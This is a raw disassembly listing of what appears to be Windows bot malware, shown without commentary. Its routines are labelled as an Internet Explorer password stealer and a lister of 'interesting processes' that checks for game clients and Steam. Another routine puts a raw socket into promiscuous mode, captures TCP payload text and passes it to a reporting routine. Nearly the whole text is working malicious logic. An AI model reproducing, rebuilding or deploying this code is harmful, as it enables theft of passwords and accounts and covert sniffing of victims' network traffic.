lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_4159E0 push offset aStringindex ; "StringIndex" lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz loc_4159E0 push offset dword_41D414 lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4158A4 push offset dword_41D414 lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4158A4: ; CODE XREF: sub_414EF4+998j push 8 lea eax, [ebp-210h] push eax lea eax, [ebp-0EE0h] push eax call dword_417100 ; lstrcpyn push offset dword_41D40C lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 push offset dword_41D404 lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_415933 lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D3BC lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_415933: ; CODE XREF: sub_414EF4+A15j jmp loc_4159E0 ; --------------------------------------------------------------------------- loc_415938: ; CODE XREF: sub_414EF4+9DBj ; sub_414EF4+9F2j push offset byte_41DE00 lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset dword_41D474 lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415999 push offset dword_41D474 lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset dword_41D474 lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415999: ; CODE XREF: sub_414EF4+A6Bj mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D360 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4159E0: ; CODE XREF: sub_414EF4+962j ; sub_414EF4+97Dj ... push 200h push 0 lea eax, [ebp-210h] push eax call sub_416B6A ; memset add esp, 0Ch push 200h push 0 lea eax, [ebp-9FCh] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4152C7 ; --------------------------------------------------------------------------- loc_415A11: ; CODE XREF: sub_414EF4+410j mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0E14h], 0 jz short loc_415A30 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A30: ; CODE XREF: sub_414EF4+B28j jmp loc_4151DD ; --------------------------------------------------------------------------- loc_415A35: ; CODE XREF: sub_414EF4+326j mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415A54 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A54: ; CODE XREF: sub_414EF4+B4Cj jmp loc_4150CB ; --------------------------------------------------------------------------- loc_415A59: ; CODE XREF: sub_414EF4+20Ej ; sub_414EF4+220j mov al, [ebp-0A14h] mov [ebp-0A54h], al push 3E8h call dword_41709C ; Sleep push dword ptr [ebp-214h] mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D324 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 10h push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD8h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_415ABB mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ABB: ; CODE XREF: sub_414EF4+BB9j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_415ADA mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ADA: ; CODE XREF: sub_414EF4+BD2j mov eax, [ebp-0FD8h] loc_415AE0: ; CODE XREF: sub_414EF4+B9j ; sub_414EF4+19Cj mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi leave retn 4 sub_414EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AF0 proc near ; CODE XREF: sub_40A9CF+7Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_41DE50, 0 jnz short loc_415AFF jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415AFF: ; CODE XREF: sub_415AF0+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415B15 jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415B15: ; CODE XREF: sub_415AF0+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push [ebp+var_4] push offset sub_414EF4 call sub_4095A4 add esp, 10h locret_415B3D: ; CODE XREF: sub_415AF0+Dj ; sub_415AF0+23j leave retn sub_415AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B3F proc near ; CODE XREF: .data:00416FB6p ; .data:00416FBFp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short locret_415B5E mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+var_4] mov ecx, [ecx] mov ecx, [ecx] push eax call dword ptr [ecx+8] locret_415B5E: ; CODE XREF: sub_415B3F+Dj leave retn sub_415B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B60 proc near ; DATA XREF: sub_415DFD+35o var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = dword ptr -5C4h var_5C0 = dword ptr -5C0h var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_41C = byte ptr -41Ch var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5B8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx and [ebp+var_5C4], 0 and [ebp+var_410], 0 and [ebp+var_40C], 0 and [ebp+var_408], 0 and [ebp+var_404], 0 and [ebp+var_5BC], 0 jmp short loc_415BC2 ; --------------------------------------------------------------------------- loc_415BB5: ; CODE XREF: sub_415B60:loc_415C50j mov eax, [ebp+var_5BC] inc eax mov [ebp+var_5BC], eax loc_415BC2: ; CODE XREF: sub_415B60+53j cmp [ebp+var_5BC], 0FFFFh jnb loc_415C55 push 400h lea eax, [ebp+var_400] push eax push [ebp+var_5BC] call dword_4171E4 ; GetWindowTextA push 7 push offset aUnreal3 ; "Unreal3" lea eax, [ebp+var_400] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_415C0E mov [ebp+var_410], 1 loc_415C0E: ; CODE XREF: sub_415B60+A2j push offset aWorldOfWarcraf ; "World Of Warcraft" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C2F mov [ebp+var_408], 1 loc_415C2F: ; CODE XREF: sub_415B60+C3j push offset aConquer ; "[Conquer]" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C50 mov [ebp+var_404], 1 loc_415C50: ; CODE XREF: sub_415B60+E4j jmp loc_415BB5 ; --------------------------------------------------------------------------- loc_415C55: ; CODE XREF: sub_415B60+6Cj and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415C88 mov [ebp+var_5C4], 1 loc_415C88: ; CODE XREF: sub_415B60+11Cj push [ebp+var_5C0] call dword_417028 ; RegCloseKey and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415CC7 mov [ebp+var_40C], 1 loc_415CC7: ; CODE XREF: sub_415B60+15Bj push [ebp+var_5C0] call dword_417028 ; RegCloseKey movsx eax, [ebp+var_41C] test eax, eax jz short loc_415D1E cmp [ebp+var_410], 0 jnz short loc_415D1E cmp [ebp+var_5C4], 0 jnz short loc_415D1E cmp [ebp+var_40C], 0 jnz short loc_415D1E cmp [ebp+var_408], 0 jnz short loc_415D1E cmp [ebp+var_404], 0 jnz short loc_415D1E push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax jmp locret_415DF9 ; --------------------------------------------------------------------------- loc_415D1E: ; CODE XREF: sub_415B60+17Cj ; sub_415B60+185j ... cmp [ebp+var_404], 0 jz short loc_415D33 mov [ebp+var_5C8], offset aYes ; "Yes" jmp short loc_415D3D ; --------------------------------------------------------------------------- loc_415D33: ; CODE XREF: sub_415B60+1C5j mov [ebp+var_5C8], offset aNo ; "No" loc_415D3D: ; CODE XREF: sub_415B60+1D1j cmp [ebp+var_408], 0 jz short loc_415D52 mov [ebp+var_5CC], offset aYes ; "Yes" jmp short loc_415D5C ; --------------------------------------------------------------------------- loc_415D52: ; CODE XREF: sub_415B60+1E4j mov [ebp+var_5CC], offset aNo ; "No" loc_415D5C: ; CODE XREF: sub_415B60+1F0j cmp [ebp+var_40C], 0 jz short loc_415D71 mov [ebp+var_5D0], offset aYes ; "Yes" jmp short loc_415D7B ; --------------------------------------------------------------------------- loc_415D71: ; CODE XREF: sub_415B60+203j mov [ebp+var_5D0], offset aNo ; "No" loc_415D7B: ; CODE XREF: sub_415B60+20Fj cmp [ebp+var_5C4], 0 jz short loc_415D90 mov [ebp+var_5D4], offset aYes ; "Yes" jmp short loc_415D9A ; --------------------------------------------------------------------------- loc_415D90: ; CODE XREF: sub_415B60+222j mov [ebp+var_5D4], offset aNo ; "No" loc_415D9A: ; CODE XREF: sub_415B60+22Ej cmp [ebp+var_410], 0 jz short loc_415DAF mov [ebp+var_5D8], offset aYes ; "Yes" jmp short loc_415DB9 ; --------------------------------------------------------------------------- loc_415DAF: ; CODE XREF: sub_415B60+241j mov [ebp+var_5D8], offset aNo ; "No" loc_415DB9: ; CODE XREF: sub_415B60+24Dj push [ebp+var_5C8] push [ebp+var_5CC] push [ebp+var_5D0] push [ebp+var_5D4] push [ebp+var_5D8] push offset dword_41D5A4 lea eax, [ebp+var_5B4] push eax call sub_40D53F add esp, 1Ch push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax locret_415DF9: ; CODE XREF: sub_415B60+1B9j leave retn 4 sub_415B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DFD proc near ; CODE XREF: sub_40A9CF+12FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415E17 jmp short locret_415E3F ; --------------------------------------------------------------------------- loc_415E17: ; CODE XREF: sub_415DFD+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push [ebp+var_4] push offset sub_415B60 call sub_4095A4 add esp, 10h locret_415E3F: ; CODE XREF: sub_415DFD+18j leave retn sub_415DFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E41 proc near ; CODE XREF: sub_415EB7+37p ; sub_415EB7+59p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_415E52 ; --------------------------------------------------------------------------- loc_415E4B: ; CODE XREF: sub_415E41+69j ; sub_415E41:loc_415EB1j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_415E52: ; CODE XREF: sub_415E41+8j mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4], 0 jz short loc_415EB3 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EB1 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4+4], 0 jz short loc_415EAC mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EAC jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EAC: ; CODE XREF: sub_415E41+49j ; sub_415E41+67j push 1 pop eax jmp short locret_415EB5 ; --------------------------------------------------------------------------- loc_415EB1: ; CODE XREF: sub_415E41+3Aj jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EB3: ; CODE XREF: sub_415E41+1Dj xor eax, eax locret_415EB5: ; CODE XREF: sub_415E41+6Ej leave retn sub_415E41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EB7 proc near ; CODE XREF: sub_415F69+420p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 jz short loc_415EDD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EDD push 1 pop eax jmp loc_415F67 ; --------------------------------------------------------------------------- loc_415EDD: ; CODE XREF: sub_415EB7+7j ; sub_415EB7+1Cj cmp [ebp+arg_8], 1 jb short loc_415EFF push [ebp+arg_4] push [ebp+arg_0] push offset off_41D6D4 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415EFF push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415EFF: ; CODE XREF: sub_415EB7+2Aj ; sub_415EB7+41j cmp [ebp+arg_8], 2 jb short loc_415F21 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D730 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F21 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: sub_415EB7+4Cj ; sub_415EB7+63j cmp [ebp+arg_8], 3 jb short loc_415F43 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7A4 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F43 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F43: ; CODE XREF: sub_415EB7+6Ej ; sub_415EB7+85j cmp [ebp+arg_8], 4 jb short loc_415F65 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7E8 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F65 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F65: ; CODE XREF: sub_415EB7+90j ; sub_415EB7+A7j xor eax, eax loc_415F67: ; CODE XREF: sub_415EB7+21j ; sub_415EB7+46j ... pop ebp retn sub_415EB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F69 proc near ; DATA XREF: sub_41665C+A6o var_19B8 = dword ptr -19B8h var_19B4 = byte ptr -19B4h var_18B4 = dword ptr -18B4h var_18B0 = byte ptr -18B0h var_17B0 = dword ptr -17B0h var_17AC = dword ptr -17ACh var_17A8 = byte ptr -17A8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = byte ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = dword ptr -1614h var_1610 = dword ptr -1610h var_160C = byte ptr -160Ch var_140C = byte ptr -140Ch var_127E = byte ptr -127Eh var_1278 = byte ptr -1278h var_1274 = byte ptr -1274h var_1268 = word ptr -1268h var_1264 = byte ptr -1264h var_1263 = byte ptr -1263h var_125C = dword ptr -125Ch var_1258 = word ptr -1258h var_1254 = byte ptr -1254h var_1154 = dword ptr -1154h var_1150 = dword ptr -1150h var_114C = byte ptr -114Ch var_114B = byte ptr -114Bh var_104C = dword ptr -104Ch var_1048 = word ptr -1048h var_1044 = dword ptr -1044h var_1038 = byte ptr -1038h var_1037 = byte ptr -1037h var_1030 = byte ptr -1030h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 19B8h call sub_416BC0 push edi push 3ABh push [ebp+arg_0] lea eax, [ebp+var_1614] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movsx eax, [ebp+var_160C] neg eax sbb eax, eax lea ecx, [ebp+var_160C] and eax, ecx mov [ebp+var_1624], eax push 0 push 3 push 2 call dword_417218 ; socket mov [ebp+var_104C], eax cmp [ebp+var_104C], 0FFFFFFFFh jnz short loc_415FDE push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_415FDE: ; CODE XREF: sub_415F69+60j push 0FFh lea eax, [ebp+var_1254] push eax call dword_417260 ; gethostname lea eax, [ebp+var_1254] push eax call dword_41723C ; gethostbyname mov [ebp+var_1154], eax cmp [ebp+var_1154], 0 jnz short loc_41602B push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_41602B: ; CODE XREF: sub_415F69+A1j push 10h push 0 lea eax, [ebp+var_1048] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1048], 2 mov eax, [ebp+var_1154] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_1044], eax push 10h lea eax, [ebp+var_1048] push eax push [ebp+var_104C] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_416093 push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_416093: ; CODE XREF: sub_415F69+109j mov [ebp+var_1150], 1 push 0 push 0 lea eax, [ebp+var_1620] push eax push 0 push 0 push 4 lea eax, [ebp+var_1150] push eax push 98000001h push [ebp+var_104C] call dword_41725C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4160EA push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_4160EA: ; CODE XREF: sub_415F69+160j lea eax, [ebp+var_1030] mov [ebp+var_161C], eax and [ebp+var_1628], 0 and [ebp+var_4], 0 push [ebp+var_1610] mov eax, [ebp+var_1614] push dword ptr [eax] push offset unk_41D9B4 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 10h and [ebp+var_1274], 0 and [ebp+var_114C], 0 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_114B] rep stosd stosw stosb and [ebp+var_1264], 0 xor eax, eax lea edi, [ebp+var_1263] stosd stosb lea eax, [ebp+var_114C] push eax call sub_40CF25 push eax call sub_4044F7 pop ecx pop ecx lea eax, [ebp+var_1264] push eax call sub_40CF25 push eax call sub_4045B2 pop ecx pop ecx lea eax, [ebp+var_114C] push eax call dword_417244 ; inet_addr mov [ebp+var_1618], eax lea eax, [ebp+var_1264] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1268], ax and [ebp+var_1038], 0 xor eax, eax lea edi, [ebp+var_1037] stosd stosb lea eax, [ebp+var_1038] push eax call sub_40CF25 push eax call sub_404552 pop ecx pop ecx mov eax, [ebp+var_1044] mov [ebp+var_125C], eax lea eax, [ebp+var_1038] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1258], ax loc_4161E6: ; CODE XREF: sub_415F69+305j ; sub_415F69+33Aj ... push 0 push 1028h lea eax, [ebp+var_1030] push eax push [ebp+var_104C] call dword_417248 ; recv mov [ebp+var_17AC], eax mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_416217 jmp loc_416637 ; --------------------------------------------------------------------------- loc_416217: ; CODE XREF: sub_415F69+2A7j cmp [ebp+var_17AC], 0FFFFFFFFh jz short loc_416229 cmp [ebp+var_17AC], 0 jnz short loc_41622E loc_416229: ; CODE XREF: sub_415F69+2B5j jmp loc_416637 ; --------------------------------------------------------------------------- loc_41622E: ; CODE XREF: sub_415F69+2BEj mov eax, [ebp+var_17AC] and [ebp+eax+var_1030], 0 mov eax, [ebp+var_161C] mov al, [eax] and al, 0Fh movzx eax, al mov ecx, [ebp+var_161C] lea eax, [ecx+eax*4] mov [ebp+var_1628], eax mov eax, [ebp+var_1628] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_416273 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416273: ; CODE XREF: sub_415F69+303j mov eax, [ebp+var_1628] mov al, [eax+0Ch] shr al, 4 and al, 0Fh movzx eax, al mov ecx, [ebp+var_1628] lea eax, [ecx+eax*4] mov [ebp+var_4], eax mov eax, [ebp+var_4] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_4162A8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: sub_415F69+338j push [ebp+var_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_17AC], eax mov eax, [ebp+var_161C] movzx eax, byte ptr [eax+9] cmp eax, 6 jnz loc_416632 movsx eax, [ebp+var_127E] test eax, eax jz short loc_4162EB mov eax, [ebp+var_161C] mov eax, [eax+10h] cmp eax, [ebp+var_125C] jz short loc_4162EB jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162EB: ; CODE XREF: sub_415F69+36Aj ; sub_415F69+37Bj movsx eax, [ebp+var_1278] test eax, eax jz short loc_41630C mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jz short loc_41630C jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: sub_415F69+38Bj ; sub_415F69+39Cj mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1258] cmp eax, ecx jnz short loc_416340 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jnz short loc_416340 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416340: ; CODE XREF: sub_415F69+3BFj ; sub_415F69+3D0j mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1268] cmp eax, ecx jnz short loc_416374 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_1618] jnz short loc_416374 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416374: ; CODE XREF: sub_415F69+3F3j ; sub_415F69+404j push [ebp+var_1624] push [ebp+var_1610] push [ebp+var_17AC] push [ebp+var_4] call sub_415EB7 add esp, 10h test eax, eax jz loc_416632 and [ebp+var_19B8], 0 jmp short loc_4163AF ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: sub_415F69:loc_416413j mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_4163AF: ; CODE XREF: sub_415F69+437j mov eax, [ebp+var_19B8] cmp eax, [ebp+var_17AC] jnb short loc_416415 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_4163DA mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Dh loc_4163DA: ; CODE XREF: sub_415F69+463j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_4163F7 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 3Eh loc_4163F7: ; CODE XREF: sub_415F69+480j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_416413 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Eh loc_416413: ; CODE XREF: sub_415F69+49Cj jmp short loc_4163A2 ; --------------------------------------------------------------------------- loc_416415: ; CODE XREF: sub_415F69+452j and [ebp+var_19B8], 0 mov eax, [ebp+var_19B8] mov [ebp+var_17AC], eax jmp short loc_416437 ; --------------------------------------------------------------------------- loc_41642A: ; CODE XREF: sub_415F69+507j ; sub_415F69+51Aj ... mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_416437: ; CODE XREF: sub_415F69+4BFj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41645F mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl jmp short loc_4164AA ; --------------------------------------------------------------------------- loc_41645F: ; CODE XREF: sub_415F69+4DCj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 7Fh jl short loc_416472 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416472: ; CODE XREF: sub_415F69+505j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 1Fh jg short loc_416485 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416485: ; CODE XREF: sub_415F69+518j mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_17AC] inc eax mov [ebp+var_17AC], eax jmp short loc_41642A ; --------------------------------------------------------------------------- loc_4164AA: ; CODE XREF: sub_415F69+4F4j cmp [ebp+var_17AC], 0 jnz short loc_4164B8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4164B8: ; CODE XREF: sub_415F69+548j push 100h mov eax, [ebp+var_161C] push dword ptr [eax+0Ch] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_19B4] push eax call sub_407A56 add esp, 0Ch push 100h mov eax, [ebp+var_161C] push dword ptr [eax+10h] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_18B0] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_1628] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp+var_18B0] push eax mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp+var_19B4] push eax push offset dword_41D980 lea eax, [ebp+var_17A8] push eax call sub_416B5E ; sprintf add esp, 18h mov [ebp+var_18B4], eax mov eax, 180h sub eax, [ebp+var_18B4] push eax push [ebp+var_4] mov eax, [ebp+var_18B4] lea eax, [ebp+eax+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_4165AD jmp loc_416655 ; --------------------------------------------------------------------------- loc_4165AD: ; CODE XREF: sub_415F69+63Dj mov eax, 180h sub eax, [ebp+var_18B4] dec eax mov [ebp+var_17B0], eax loc_4165BF: ; CODE XREF: sub_415F69+6C7j mov eax, [ebp+var_17B0] cmp eax, [ebp+var_17AC] jnb short loc_416632 push 180h mov eax, [ebp+var_4] add eax, [ebp+var_17B0] push eax lea eax, [ebp+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_41661F jmp short loc_416653 ; --------------------------------------------------------------------------- loc_41661F: ; CODE XREF: sub_415F69+6B2j mov eax, [ebp+var_17B0] add eax, 17Fh mov [ebp+var_17B0], eax jmp short loc_4165BF ; --------------------------------------------------------------------------- loc_416632: ; CODE XREF: sub_415F69+35Bj ; sub_415F69+42Aj ... jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416637: ; CODE XREF: sub_415F69+2A9j ; sub_415F69:loc_416229j ... push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp short loc_416657 ; --------------------------------------------------------------------------- loc_416653: ; CODE XREF: sub_415F69+6B4j jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416655: ; CODE XREF: sub_415F69+63Fj jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416657: ; CODE XREF: sub_415F69+70j ; sub_415F69+BDj ... pop edi leave 